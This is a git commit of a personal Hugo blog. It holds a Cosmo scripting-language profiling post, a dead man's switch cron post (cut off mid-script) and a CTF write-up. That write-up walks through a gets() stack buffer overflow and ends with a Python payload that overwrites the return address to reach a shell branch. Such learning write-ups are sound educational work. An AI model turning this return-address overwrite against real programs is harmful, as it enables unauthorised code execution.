Browse Source

rewrite! new repo

main
Seth Stubbs 2 months ago
commit
1ab1a10e53
  1. 3
      README.md
  2. 7
      archetypes/default.md
  3. 35
      config.toml
  4. 28
      content/_index.md
  5. 205
      content/pages/bufferoverflow-fav-color-ctf.md
  6. BIN
      content/pages/bufferoverflow-fav-color-ctf/gdb.png
  7. BIN
      content/pages/bufferoverflow-fav-color-ctf/gets-bad.png
  8. BIN
      content/pages/bufferoverflow-fav-color-ctf/lscpu.png
  9. BIN
      content/pages/bufferoverflow-fav-color-ctf/make-tmp.png
  10. BIN
      content/pages/bufferoverflow-fav-color-ctf/oops.png
  11. BIN
      content/pages/bufferoverflow-fav-color-ctf/run-color.png
  12. BIN
      content/pages/bufferoverflow-fav-color-ctf/ssh.png
  13. BIN
      content/pages/bufferoverflow-fav-color-ctf/stackframe.png
  14. BIN
      content/pages/bufferoverflow-fav-color-ctf/yay.png
  15. 270
      content/pages/cosmo-workflow.md
  16. BIN
      content/pages/cosmo-workflow/66d_profile.png
  17. BIN
      content/pages/cosmo-workflow/66d_run.png
  18. BIN
      content/pages/cosmo-workflow/HEAD_profile.png
  19. BIN
      content/pages/cosmo-workflow/HEAD_run.png
  20. BIN
      content/pages/cosmo-workflow/debug.png
  21. BIN
      content/pages/cosmo-workflow/fast.png
  22. BIN
      content/pages/cosmo-workflow/istringalloc.png
  23. BIN
      content/pages/cosmo-workflow/istringenum.png
  24. BIN
      content/pages/cosmo-workflow/log.png
  25. BIN
      content/pages/cosmo-workflow/test.png
  26. 145
      content/pages/dead-mans-hugo.md
  27. BIN
      content/pages/dead-mans-hugo/cron.png
  28. BIN
      content/pages/dead-mans-hugo/ok-get-in.png
  29. BIN
      content/pages/dead-mans-hugo/post.png
  30. BIN
      content/pages/dead-mans-hugo/test.png
  31. BIN
      content/pages/dead-mans-hugo/works.png
  32. 22
      content/pages/foxnet.md
  33. 392
      content/pages/fusionfall-openfusion.md
  34. BIN
      content/pages/fusionfall-openfusion/FusionFallPlayer.zip
  35. BIN
      content/pages/fusionfall-openfusion/client.png
  36. BIN
      content/pages/fusionfall-openfusion/cnevent.png
  37. BIN
      content/pages/fusionfall-openfusion/cnsocketdata.png
  38. BIN
      content/pages/fusionfall-openfusion/encrypt_byte.png
  39. BIN
      content/pages/fusionfall-openfusion/encrypt_data.png
  40. BIN
      content/pages/fusionfall-openfusion/encrypt_xor.png
  41. BIN
      content/pages/fusionfall-openfusion/file_layout.png
  42. BIN
      content/pages/fusionfall-openfusion/gameframepacket.png
  43. BIN
      content/pages/fusionfall-openfusion/gameframereceive.png
  44. BIN
      content/pages/fusionfall-openfusion/gamemanager.png
  45. BIN
      content/pages/fusionfall-openfusion/getpacket.png
  46. BIN
      content/pages/fusionfall-openfusion/login_debug.png
  47. BIN
      content/pages/fusionfall-openfusion/loginfail.png
  48. BIN
      content/pages/fusionfall-openfusion/manager_constructor.png
  49. BIN
      content/pages/fusionfall-openfusion/network_update.png
  50. BIN
      content/pages/fusionfall-openfusion/networkcnevent.png
  51. BIN
      content/pages/fusionfall-openfusion/sendlogin.png
  52. BIN
      content/pages/fusionfall-openfusion/server_id_out.png
  53. BIN
      content/pages/fusionfall-openfusion/socketupdate.png
  54. 396
      content/pages/lua-bytecode-parser.md
  55. BIN
      content/pages/lua-bytecode-parser/bit_indexes.png
  56. BIN
      content/pages/lua-bytecode-parser/bytecode_doc.png
  57. BIN
      content/pages/lua-bytecode-parser/luac_cat.png
  58. BIN
      content/pages/lua-bytecode-parser/out.png
  59. 85
      content/pages/manipulating-lua-vms-1.md
  60. BIN
      content/pages/manipulating-lua-vms-1/ROBLOX2012.zip
  61. BIN
      content/pages/manipulating-lua-vms-1/ida_luaB_cocreate.png
  62. BIN
      content/pages/manipulating-lua-vms-1/ida_luaB_loadstring.png
  63. BIN
      content/pages/manipulating-lua-vms-1/ida_luaB_pcall.png
  64. BIN
      content/pages/manipulating-lua-vms-1/ida_luaB_print.png
  65. BIN
      content/pages/manipulating-lua-vms-1/ida_lua_b.png
  66. 133
      content/pages/manipulating-lua-vms-2.md
  67. BIN
      content/pages/manipulating-lua-vms-2/docs.png
  68. BIN
      content/pages/manipulating-lua-vms-2/hooked.png
  69. BIN
      content/pages/manipulating-lua-vms-2/jmp_hotpatch.png
  70. 119
      content/pages/manipulating-lua-vms-3.md
  71. BIN
      content/pages/manipulating-lua-vms-3/epic-prank.gif
  72. 102
      content/pages/memory-sigs-self-updating-cheats.md
  73. BIN
      content/pages/memory-sigs-self-updating-cheats/found_gettop.png
  74. BIN
      content/pages/memory-sigs-self-updating-cheats/lua_gettop_addr.png
  75. BIN
      content/pages/memory-sigs-self-updating-cheats/lua_gettop_bytes.png
  76. BIN
      content/pfp.png
  77. 11
      layouts/_default/baseof.html
  78. 14
      layouts/_default/list.html
  79. 36
      layouts/_default/single.html
  80. 14
      layouts/index.html
  81. 7
      layouts/partials/footer.html
  82. 11
      layouts/partials/header.html
  83. 29
      layouts/partials/icon.html
  84. 10
      layouts/partials/nav.html
  85. 5
      layouts/partials/social_list.html
  86. 13
      layouts/section/pages.html
  87. 219
      static/css/style.css
  88. BIN
      static/icon.png

3
README.md

@ -0,0 +1,3 @@
# OpenPunk
This is the Hugo project for [openpunk.com](https://openpunk.com). After installing Hugo, run a local version with `hugo server` and visit the site at [http://localhost:1313/](http://localhost:1313/)

7
archetypes/default.md

@ -0,0 +1,7 @@
---
title: "{{ replace .Name "-" " " | title }}"
date: {{ .Date }}
tags: []
draft: false
---

35
config.toml

@ -0,0 +1,35 @@
baseURL = '/'
languageCode = 'en-us'
title = 'OpenPunk'
[params]
onion = 'http://opnpnk6eutjiqy4ndpyvwxd5pncj2g2cmz6fkocr5uh3omnn4utvspad.onion'
sourcerepo = 'https://git.openpunk.com/OpenPunk/OpenPunk-Hugo'
[markup]
[markup.highlight]
anchorLineNos = true
codeFences = true
guessSyntax = true
hl_Lines = ''
noClasses = true
style = 'monokai'
tabWidth = 4
[menu]
[[menu.main]]
name = "Home"
url = "/"
weight = 1
[[menu.main]]
name = "Blog"
url = "/pages/"
weight = 2
[[menu.main]]
name = "Tags"
url = "/tags/"
weight = 3
[[menu.main]]
name = "Gitea"
url = "https://git.openpunk.com"
weight = 4

28
content/_index.md

@ -0,0 +1,28 @@
---
name: "CPunch"
pfp: "pfp.png"
socialList:
- name: twitter
url: "https://twitter.com/CPunch71"
- name: github
url: "https://github.com/CPunch"
- name: rss
url: "https://openpunk.com/pages/index.xml"
---
## Welcome!
Welcome to my tomb of software! I'm CPunch, I [write software](https://github.com/CPunch) (for you!) and [reverse engineer](/tags/reverse-engineering) things. I enjoy being curious, playing the piano and abandoning hobbies. I am currently available for hire ;)
Some all-encompassing highlights:
- [git.openpunk.com](https://git.openpunk.com) - my self-hosted Gitea instance, most of my projects are mirrored here.
- [OpenFusion](https://github.com/OpenFusionProject/OpenFusion) - FusionFall server emulator, relevant [post](/pages/fusionfall-openfusion/)
- [Cosmo](https://github.com/CPunch/Cosmo) - Tiny scripting language, relevant [post](/pages/cosmo-workflow/)
- [Lua VM Manipulation](https://github.com/CPunch/LUA_VM_EXAMPLE) - Manipulating embedded Lua VMs, relevant [post](/pages/manipulating-lua-vms-1/)
- [GameBot](https://github.com/CPunch/Gamebot) - Discord Bot that plays gameboy games :)
- [C8](https://github.com/CPunch/c8) - Tiny chip 8 emulator written in C89
- [FoxNet](https://github.com/CPunch/FoxNet) - Lightweight C++ networking library
## Contact
Any questions or concerns can be emailed to me at [openpunk@protonmail.com](mailto:openpunk@protonmail.com). I also have an [RSS feed](https://openpunk.com/pages/index.xml) if you'd like to keep tabs on me :)

205
content/pages/bufferoverflow-fav-color-ctf.md

@ -0,0 +1,205 @@
---
title: "Buffer Overflow: Favorite Color CTF"
date: 2019-12-09
author: CPunch
tags: ["reverse-engineering", "python", "ctf"]
---
Hey! So I recently made an account on [ctflearn.com](https://ctflearn.com) which is this great site that teaches you how to do CTFs and gives you practice ones you can use to learn! I've always wanted to try out a CTF, so I quickly found a fairly simple one in the binary section and tried it out. I picked one with a lot of solves because I am a complete noob haha. Let's take a look!
Here's a link to the CTF I picked: [https://ctflearn.com/challenge/391](https://ctflearn.com/challenge/391), it reads:
```
What's your favorite color? Would you like to share with me? Run the command: ssh color@104.131.79.111 -p 1001 (pw: guest) to tell me!
```
![](ssh.png)
Ah, okay so it gives us a binary "color", and the source "color.c". We also have flag.txt and the Makefile for color. We don't have the permissions to read flag.txt yet. So, lets run the binary and see what happens!
![](run-color.png)
Hmm, okay lets look at the makefile...
```makefile
prob = color
edit: $(prob).o
cc -m32 $(prob).o -o $(prob)
rm $(prob).o
install:
@id=`id -u`; \
if [ $$id != 0 ] ; \
then \
echo \*\*\* Must be root. \*\*\*; \
exit 1; \
fi
useradd -m $(prob)
echo $(prob):guest | chpasswd
useradd $(prob)_pwn
cp * /home/$(prob)
@echo; \
read -p "Input flag: " flag; \
echo $$flag > /home/$(prob)/flag.txt
chown -R root:root /home/$(prob)
chmod -R 444 /home/$(prob)
chmod 555 /home/$(prob)
chown root:$(prob)_pwn /home/$(prob)/$(prob)
chmod 2555 /home/$(prob)/$(prob)
chown root:$(prob)_pwn /home/$(prob)/flag.txt
chmod 440 /home/$(prob)/flag.txt
$(prob).o: $(prob).c
cc -c -m32 -fno-stack-protector $(prob).c
```
Woah, okay that is a huge hint! Checkout that -fno-stack-protector flag! If we look up what that no-protector flag does, this [stack-overflow answer](https://stackoverflow.com/questions/10712972/what-is-the-use-of-fno-stack-protector) reads
> **"If you compile with -fstack-protector, then there will be a little more space allocated on the stack and a little more overhead on entry to and return from a function while the code sets up the checks and then actually checks whether you've overwritten the stack while in the function."**
So they purposely disabled the stack protector in this binary for us to exploit! So now that we know this is a buffer overflow attack, lets take a look at color.c:
```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int vuln() {
char buf[32];
printf("Enter your favorite color: ");
gets(buf);
int good = 0;
for (int i = 0; buf[i]; i++) {
good &= buf[i] ^ buf[i];
}
return good;
}
int main(char argc, char** argv) {
setresuid(getegid(), getegid(), getegid());
setresgid(getegid(), getegid(), getegid());
//disable buffering.
setbuf(stdout, NULL);
if (vuln()) {
puts("Me too! That's my favorite color too!");
puts("You get a shell! Flag is in flag.txt");
system("/bin/sh");
} else {
puts("Boo... I hate that color! :(");
}
}
```
Okay, so it looks like when vuln() returns 1, it'll open a shell under a user that has permissions to read flag.txt.. but wait, hold on, take a look at vuln().. It's using gets()! This is a classic example of a buffer overflow. gets() is notorious for being unsafe, geeksforgeeks.org explains why perfectly!
![](gets-bad.png)
So, when we call gets() with a character array of 32 characters, what happens if we give it more than 32 characters? Let's find out! So I compiled color.c (I removed the setresuid and setresgid calls)
![](oops.png)
GCC actually warns us that gets() is dangerous, how nice of them! `char buff[32];` creates a limited character array, and gets() puts a user-supplied string (which can be bigger than 32 characters) in the buf address, smashing the stack! And look! It caught our smashed stack! Anyways, back to the OG color.c. Let's debug the binary with GDB. If you're unfamiliar with GDB it's an EXTREMELY powerful command-line tool that lets you debug and disassemble programs in real time!
![](gdb.png)
Okay and now lets disassemble our vuln() subroutine and compare the disassembly to our C source! I ran "disassemble vuln" and got this disassembly:
```
(gdb) disassemble vuln
Dump of assembler code for function vuln:
0x0804858b <+0>: push %ebp
0x0804858c <+1>: mov %esp,%ebp
0x0804858e <+3>: sub $0x38,%esp
0x08048591 <+6>: sub $0xc,%esp
0x08048594 <+9>: push $0x8048730
0x08048599 <+14>: call 0x8048410 <printf@plt>
0x0804859e <+19>: add $0x10,%esp
0x080485a1 <+22>: sub $0xc,%esp
0x080485a4 <+25>: lea -0x30(%ebp),%eax
0x080485a7 <+28>: push %eax
0x080485a8 <+29>: call 0x8048420 <gets@plt>
0x080485ad <+34>: add $0x10,%esp
0x080485b0 <+37>: movl $0x0,-0xc(%ebp)
0x080485b7 <+44>: movl $0x0,-0x10(%ebp)
0x080485be <+51>: jmp 0x80485cb <vuln+64>
0x080485c0 <+53>: movl $0x0,-0xc(%ebp)
0x080485c7 <+60>: addl $0x1,-0x10(%ebp)
0x080485cb <+64>: lea -0x30(%ebp),%edx
0x080485ce <+67>: mov -0x10(%ebp),%eax
0x080485d1 <+70>: add %edx,%eax
0x080485d3 <+72>: movzbl (%eax),%eax
0x080485d6 <+75>: test %al,%al
0x080485d8 <+77>: jne 0x80485c0 <vuln+53>
0x080485da <+79>: mov -0xc(%ebp),%eax
0x080485dd <+82>: leave
0x080485de <+83>: ret
```
Okay, ignore everything else except our call to gets(), because thats the real vulnerability.
```
0x080485a4 <+25>: lea -0x30(%ebp),%eax
0x080485a7 <+28>: push %eax
0x080485a8 <+29>: call 0x8048420 <gets@plt>
```
These 3 instructions are the equivalent of our `gets(buf);` call. I'll add some comments so you can better understand what each instruction does.
```
lea -0x30(%ebp),%eax -- loads address of buf[] into the eax register (buf is a local variable in our stackframe!) at address of -0x30 from ebp (or stack base pointer)
push %eax -- pushes the address of buf[] onto the stack
call 0x8048420 <gets@plt> -- calls gets!
```
Now let's look at how the stackframe is setup. Here's a helpful graph I made to help kind of explain how this stack frame actually looks after calling into gets().
![](stackframe.png)
> EBP - Base Stack Pointer, also 0x30 is 48 in decimal
So our plan is pretty simple, make gets() fill the stack with 52 bytes of useless junk, and then our crafted return address. So, when gets() returns, it'll jump to our crafted return value instead! Nice! Okay, but where do we want to jump too? Let's disassemble main and try and find our test after our call to vuln()
```
0x0804864e <+111>: call 0x804858b <vuln>
0x08048653 <+116>: test %eax,%eax
0x08048655 <+118>: je 0x8048689 <main+170>
0x08048657 <+120>: sub $0xc,%esp
```
Alright so after our call to vuln, it tests if it returns zero, and if so, it'll jump to 0x8048689. So our crafted return value should be 0x08048657 which will skip the check and get us straight into the body of the true branch of that if statement! Alright so let's try crafting our input!
Like I said, first 52 bytes can be anything. The last 4 bytes are what really matters :) I haven't mentioned it yet, but we'll need to know if the system is little endian or big endian. Basically this is just the way that addresses are encoded in instructions, little endian means it's encoded in reverse, big endian means it's encoded normally. We can check by using "lscpu"
![](lscpu.png)
Yeah, so we'll have to reverse the return address in our crafted buffer! Which trust me, is way simpler than it sounds haha. Here's my python script I used to craft the input
```python
# this script crafts input buffer for the favorite color ctf challenge
uselessBuffer = "A" * 48 # can be whatever, doesn't matter
uselessEBP = "B" * 4 # can be whatever, doesn't matter lol
craftedReturn = "\x57\x86\x04\x08" # this is in little-endian format of 0x08048657
print(uselessBuffer + uselessEBP + craftedReturn)
```
The CTF maker was kind and let us create files under a folder in /tmp, so I'll make my script there and pipe the input into ./color
![](make-tmp.png)
Alright so now that that's done all we have to do is to just pipe our crafted input into it!
![](yay.png)
and there we go!! It worked!! "flag{c0lor_0f_0verflow}". Thanks so much for reading! Hopefully I did an okay job explaining stuff haha. This was super fun and I learnt a lot about using GDB and a good refresher on stack frames. I might do more posts about CTFs in the future, but until then cya!

BIN
content/pages/bufferoverflow-fav-color-ctf/gdb.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 69 KiB

BIN
content/pages/bufferoverflow-fav-color-ctf/gets-bad.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 34 KiB

BIN
content/pages/bufferoverflow-fav-color-ctf/lscpu.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 30 KiB

BIN
content/pages/bufferoverflow-fav-color-ctf/make-tmp.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 23 KiB

BIN
content/pages/bufferoverflow-fav-color-ctf/oops.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 39 KiB

BIN
content/pages/bufferoverflow-fav-color-ctf/run-color.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 13 KiB

BIN
content/pages/bufferoverflow-fav-color-ctf/ssh.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 61 KiB

BIN
content/pages/bufferoverflow-fav-color-ctf/stackframe.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 43 KiB

BIN
content/pages/bufferoverflow-fav-color-ctf/yay.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 28 KiB

270
content/pages/cosmo-workflow.md

@ -0,0 +1,270 @@
---
title: "Cosmo: Adding the '__equal' metamethod and profiling the results"
date: 2021-02-18
author: CPunch
tags: ["cosmo", "C", "valgrind"]
repo: "https://github.com/CPunch/Cosmo"
---
I've been spending a lot of time recently on my own scripting language called "Cosmo." Cosmo is an easily embeddable scripting language loosely based off of Lua. It's definitely a student project though so don't get your hopes up. While this does smash python in benchmarks its not quite as fast as Lua, let alone Lua-JIT. Anyways, in this post I wanted to walk through my rough workflow for working on Cosmo. Hopefully sharing some inside knowledge about how Cosmo is designed and works under the hood can give you ideas in your own projects :) For more information on the syntax of Cosmo, read the [docs](https://github.com/CPunch/Cosmo/tree/main/docs) or look at the [examples](https://github.com/CPunch/Cosmo/tree/main/examples).
## Adding the `__equal` metamethod
Here's my end goal for this post: add a new metamethod '__equal' which allows objects to have a custom compare operation and make sure it doesn't impact performance. Let's start by adding the new `IStringEnum` in cstate.h
![](istringenum.png)
Now, IStrings are actually allocated for every state and put into a lookup table for easy access. So we'll have to modify cosmoV_newState() in cstate.c to allocate our new IString and populate the `state->IString[ISTRING_EQUAL]`. This looks like:
![](istringalloc.png)
Now, to actually connect the metamethod to the `==` operator, we'll just modify cosmoO_equals. Now this function assumes that both datatypes are a `<ref>` since it's called by cosmoV_equals which compares the CValues types (and handles primitive type comparisons). On the [previous commit](https://github.com/CPunch/Cosmo/commit/66d77bc54b8deabf39a8a89c1947708f611a8248) I refactored cosmoO_equals to make room for our `__equal` metamethod handler. Here's what it currently looks like:
```c
bool cosmoO_equal(CState *state, CObj* obj1, CObj* obj2) {
if (obj1 == obj2) // its the same object, this compares strings for us since they're interned anyways :)
return true;
if (obj1->type != obj2->type)
goto _eqFail;
switch (obj1->type) {
case COBJ_CFUNCTION: {
CObjCFunction *cfunc1 = (CObjCFunction*)obj1;
CObjCFunction *cfunc2 = (CObjCFunction*)obj2;
if (cfunc1->cfunc == cfunc2->cfunc)
return true;
goto _eqFail;
}
case COBJ_METHOD: {
CObjMethod *method1 = (CObjMethod*)obj1;
CObjMethod *method2 = (CObjMethod*)obj2;
if (cosmoV_equal(state, method1->func, method2->func))
return true;
goto _eqFail;
}
case COBJ_CLOSURE: {
CObjClosure *closure1 = (CObjClosure*)obj1;
CObjClosure *closure2 = (CObjClosure*)obj2;
// we just compare the function pointer
if (closure1->function == closure2->function)
return true;
goto _eqFail;
}
default:
goto _eqFail;
}
_eqFail:
// TODO: add support for an '__equal' metamethod
return false;
}
```
The first thing I'll do is add our variables needed to the top of the function.
```c
bool cosmoO_equal(CState *state, CObj *obj1, CObj *obj2) {
CObjObject *proto1, *proto2;
CValue eq1, eq2;
if (obj1 == obj2) // its the same reference, this compares strings for us since they're interned anyways :)
return true;
```
Now we can actually handle the `_eqFail` label. Now we only want to call the `__equal` metamethod if
- both `obj1` and `obj2` have a proto object
- both `obj1` and `obj2` have a `__equal` metamethod defined
- it's the *same* metamethod
In practice this looks like
```c
_eqFail:
if ((proto1 = cosmoO_grabProto(obj1)) != NULL && (proto2 = cosmoO_grabProto(obj2)) != NULL && // make sure both protos exist
cosmoO_getIString(state, proto1, ISTRING_EQUAL, &eq1) && // grab the `__equal` metamethod from the first proto, if fail abort
cosmoO_getIString(state, proto2, ISTRING_EQUAL, &eq2) && // grab the `__equal` metamethod from the second proto, if fail abort
cosmoV_equal(state, eq1, eq2)) { // compare the two `__equal` metamethods
// now finally, call the `__equal` metamethod (<object>, <object>)
cosmoV_pushValue(state, eq1);
cosmoV_pushRef(state, obj1);
cosmoV_pushRef(state, obj2);
if (cosmoV_call(state, 2, 1) != COSMOVM_OK)
return false;
// check return value and make sure it's a boolean
if (!IS_BOOLEAN(*cosmoV_getTop(state, 0))) {
cosmoV_error(state, "__equal expected to return <boolean>, got %s!", cosmoV_typeStr(*cosmoV_pop(state)));
return false;
}
// return the result
return cosmoV_readBoolean(*cosmoV_pop(state));
}
```
I went ahead and added the body of that if statement, it just takes care of calling the metamethod, checking that the result is a `<boolean>` and returning the value as a C type `bool`.
So, that might look a whole lot more intense than before, but remember [short-circuiting](https://softwareengineering.stackexchange.com/questions/201896/what-is-short-circuiting-in-c-like-languages) exists! This is why that if statement is so large; if one of the protos doesn't exists it stops evaluating the rest of the statement. Same with cosmoO_getIString, if that returns false (aka ISTRING_EQUAL isn't defined) it stops! Now lets compile and test our changes to make sure it runs as expected.
```sh
$ make clean && make
```
> I run make clean to force everything to be recompiled since I changed a header file, which can be included in sooo many different files.
![](test.png)
And boom! It works! Looks like it's good to commit :)
```sh
$ git add src && git commit -m "Added '__equal' metamethod, slightly refactored cosmoO_equal" -m "- ISTRING_EQUAL has been added" && git push
```
> I didn't actually do this all in one step, I'm just shortening it for the post :p
## Profiling & comparing our changes
Now lets compare the prior commit's performance to this to make sure that we haven't just severely crippled performance. So I'll just look at my `git log` and checkout the previous commit.
![](log.png)
So lets go ahead and checkout the previous commit
```sh
$ git checkout HEAD^1
```
> `HEAD^1` tells git to go to the previous commit from the HEAD commit
For our stress test, I wrote a script that populates a table with ~456976 strings (26 ^ 4), it generates every 4 letter word and populates the table using it. The script looks like:
```cosmo
var strtable = []
var strLen = 4 // length of all strings to generate
var AByte = "A":byte() // grabs the ascii value of 'A'
proto stringBuilder
function __init(self, length)
self.len = length
end
// we are the iterator object lol
function __iter(self)
self.x = 0
return self
end
function __next(self)
var x = self.x++
// if we've generated all the possible strings, return nil ending the loop
if x >= 26 ^ self.len then
return nil
end
// generate the string
var str = ""
for (var i = 0; i < self.len; i++) do
str = string.char(AByte + (x % 26)) .. str
x = math.floor(x / 26)
end
return str
end
end
// generate a bunch of strings & populate the table
print("generating " .. 26 ^ strLen .. " strings...")
for str in stringBuilder(strLen) do
strtable[str] = true
end
```
Now if you're asking yourself: "What? I thought we were testing the comparison of strings?" You're absolutely right! This stress test is a perfect candidate for that. If you're unsure how tables work in Cosmo, internally they're hashtables. Looking at the implementation we'll find:
```C
// mask should always be (capacity - 1)
static CTableEntry *findEntry(CState *state, CTableEntry *entries, int mask, CValue key) {
uint32_t hash = getValueHash(&key);
uint32_t indx = hash & mask; // since we know the capacity will *always* be a power of 2, we can use bitwise & to perform a MUCH faster mod operation
CTableEntry *tomb = NULL;
// keep looking for an open slot in the entries array
while (true) {
CTableEntry *entry = &entries[indx];
if (IS_NIL(entry->key)) {
// check if it's an empty bucket or a tombstone
if (IS_NIL(entry->val)) {
// it's empty! if we found a tombstone, return that so it'll be reused
return tomb != NULL ? tomb : entry;
} else {
// its a tombstone!
tomb = entry;
}
} else if (cosmoV_equal(state, entry->key, key)) {
return entry;
}
indx = (indx + 1) & mask; // fast mod here too
}
}
```
While looking through each index, we eventually have to call cosmoV_equals to compare the found key with our key, this is why this makes our stress script a good test for this! Each time we insert a new key/value pair into our table, findEntry() is called and in turn cosmoV_equal is called sometimes numerous times! Anyways ON WITH THE TEST!
First I'm going to run the test normally (without profiling) just to see how long it would take to populate a table with 456976 different string keys on my machine.
```sh
$ make clean && make && time ./bin/cosmo examples/compare.cosmo
```
![](66d_run.png)
> My ZSH theme is PowerLevel10k if you were wondering
Okay so the stress took about ~36 seconds to run, not bad! Next I'm going to edit the makefile to include debug symbols and then profile the build using valgrind. We'll use these results to compare with our cosmoO_equals patch afterwards to see what we can improve upon.
![](debug.png)
```sh
$ make clean && make && valgrind --tool=callgrind ./bin/cosmo examples/compare.cosmo
```
> Took 28 minutes to complete the profile, valgrind is slowww
![](66d_profile.png)
> I used KCachegrind, but really any valgrind visualizer would work
Now if you look right after the line number, it'll tell you in how much "relative cost" that particular statement cost in percentage of the whole execution. So in our first test, the most expensive statement in cosmoO_equals was the switch statement at about 10% of our execution. Lets go ahead and switch back to our HEAD commit and run the stress test on that version
```sh
$ git checkout -
```
![](HEAD_run.png)
Oh yikes 44 seconds, thats almost 8 seconds longer! Looks like our new function is more expensive than I thought, so lets go ahead and profile and see what's eating up our cycles. SO again, patching that makefile to include debug information and running valgrind, kcachegrind shows us
![](HEAD_profile.png)
> This run took 44 minutes to run LOL
## Improving our changes
Ah, so it looks like I overlooked that `<string>` values have a proto object defined in the base library. To fix this, let's prevent that whole fail branch from being ran on strings anyways since we don't define a custom `__equal` metamethod for strings. To do this we can just expand our switch statement based on type to just return false, this will look something like:
```C
switch (obj1->type) {
case COBJ_STRING: {
/*
we already compared the pointers at the top of the function, this prevents the `__equal` metamethod
from being checked. If you plan on using `__equal` with strings just remove this case!
*/
return false;
}
case COBJ_CFUNCTION: {
```
Remember that at the top of cosmoO_equals the two `obj1` and `obj2` pointers are compared and if they're the same, we return true! So if they're both strings afterwards we know that they're not the same since we don't have an `__equal` metamethod defined for them anyways. Now yes, this does prevent someone from adding an `__equal` metamethod to the `<string>` proto, but thats a very rare use case that I don't expect anyone to use. The performance of our strings in Cosmo is extremely important, the whole language is built on top of them! Let's see how well this improves performance!
![](fast.png)
We're back to 36 seconds! I'll go ahead and commit that change and also add that stress script to the examples directory. Until next time!

BIN
content/pages/cosmo-workflow/66d_profile.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 52 KiB

BIN
content/pages/cosmo-workflow/66d_run.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 90 KiB

BIN
content/pages/cosmo-workflow/HEAD_profile.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 124 KiB

BIN
content/pages/cosmo-workflow/HEAD_run.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 89 KiB

BIN
content/pages/cosmo-workflow/debug.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 16 KiB

BIN
content/pages/cosmo-workflow/fast.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 90 KiB

BIN
content/pages/cosmo-workflow/istringalloc.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 67 KiB

BIN
content/pages/cosmo-workflow/istringenum.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 27 KiB

BIN
content/pages/cosmo-workflow/log.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 56 KiB

BIN
content/pages/cosmo-workflow/test.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 30 KiB

145
content/pages/dead-mans-hugo.md

@ -0,0 +1,145 @@
---
title: "Dead Man's Hugo Post"
date: 2021-09-04
author: CPunch
tags: ["cron", "linux", "hugo", "git"]
---
![](ok-get-in.png)
## You're going to die
Okay... maybe not right now but who knows? It's unavoidable. No matter what diet you try or whether you know Rust™ or not, eventually the curtains will close and your show will end. Preparing for one's death might seem like a jinx, but the truth is anything could happen. It's sure gonna suck when you die getting mugged tomorrow, so let's make it suck less. In honor of this Halloween season I would like to cheat death and create a dead man's hugo post; specifically a hugo post that would be posted 2 weeks or so after my death. This will also let me ~~brag about~~ shed some light into how I've setup my OpenPunk workflow. Let's get started!
## Some background
OpenPunk (the blog that you're reading right now!) is statically generated from [this repository.](https://git.openpunk.com/OpenPunk/OpenPunk-Hugo) There's a cronjob on my server that force pulls from the latest master branch and regenerates the hugo blog every hour or so. If you’re ever curious how long ago the current build of OpenPunk you’re reading was generated from, just check the datetime at the bottom of the page. The generated html is then served through apache and is also mirrored on a tor mirror. (`opnpnk6eutjiqy4ndpyvwxd5pncj2g2cmz6fkocr5uh3omnn4utvspad.onion` btw) To make a new post, I commit the markdown & images in the content/pages directory to the repository, and within an hour my live site will be updated. It's a very simple and elegant solution that works quite well with my workflow, I write posts locally and when I feel they are finished I simply commit and push.
## Your trigger
[Dead man's Switches](https://en.wikipedia.org/wiki/Dead_man%27s_switch) are quite marvelous devices, in the event an operator or user becomes incapacitated these switches can be rigged up to stop trains & other machinery before critical failure. In our case our switch is completely digital, posting a hugo post in the event you become 'incapacitated'. There'll be no lever to pull or pedal to press, it's quite simple but takes some setup. Our basic plan is:
- Have a cronjob on our laptop that creates a file on our vps over ssh every hour or so
- Have a cronjob on our VPS that checks the last modified timestamp on the file and checks if it hasn't been modified in a certain time interval
- If the timestamp is older than our specified time interval (ie, we haven't gotten a 'ping') activate the switch
Let's go ahead and setup our local cronjob to run on our laptop. First let's write a script to do our 'ping' to the vps
```bash
#!/usr/bin/bash
ssh root@openpunk.com 'touch /root/.deadtrigger'
```
Obviously you would replace 'root@openpunk.com' with your own VPS and user. You should also have key login enabled on your VPS so ssh won't prompt the script for the password. I went ahead and saved that script to `/usr/local/bin/pingDeadSwitch`. After that we can setup our crontab with
```shell
crontab -e
```
And our crontab should look like:
```shell
2 * * * * /usr/local/bin/pingDeadSwitch
```
or something similar, this configuration runs the script 2 minutes after every hour.
## Your switch
Now that we have our "trigger" setup, we'll need our VPS to actually detect if our trigger hasn't been modified in 14 days. Why 14 days? Well in the event that I lose my laptop (it gets stolen, burns in a fire or I just accidentally murdered my arch install) I'd like to give myself a few days to setup my trigger again. We'll also need a way to temporarily suspend the switch. If I know in advance that I'll be away from my computer for a bit I should be able to easily suspend the switch until I know I'll be back.
Let's start by writing our script to be run by cron every day. On my VPS I'll copy this script to `/usr/local/bin/deadswitch` (and of course mark it executable with `chmod`)
```bash
#!/bin/bash
# This is meant to be run by cron, just setup a cronjob to run this script every day or so
# This script checks if a file ($fileSwitch) is last modified > $dayLimit days ago & if so a script is run
# On your computer or laptop, setup a cronjob to run an ssh command to modify $fileSwitch every couple hours or so.
fileTrigger="$HOME/.deadtrigger"
fileLock="$HOME/.deadlock" # if this file exists, the deadmans switch will be disabled. This file is also automatically created when the switch is pulled
scriptToRun="$HOME/deadman/imdead.sh"
dayLimit=14 # 14 day trigger
# if our file lock exists, we already ran OR the switch has been suspended
if [ -f "$fileLock" ]; then
exit 0
fi
# time has to be in seconds so dayLimit (days) * 24 (hours in a day) * 60 (mins in an hour) * 60 (seconds in a min)
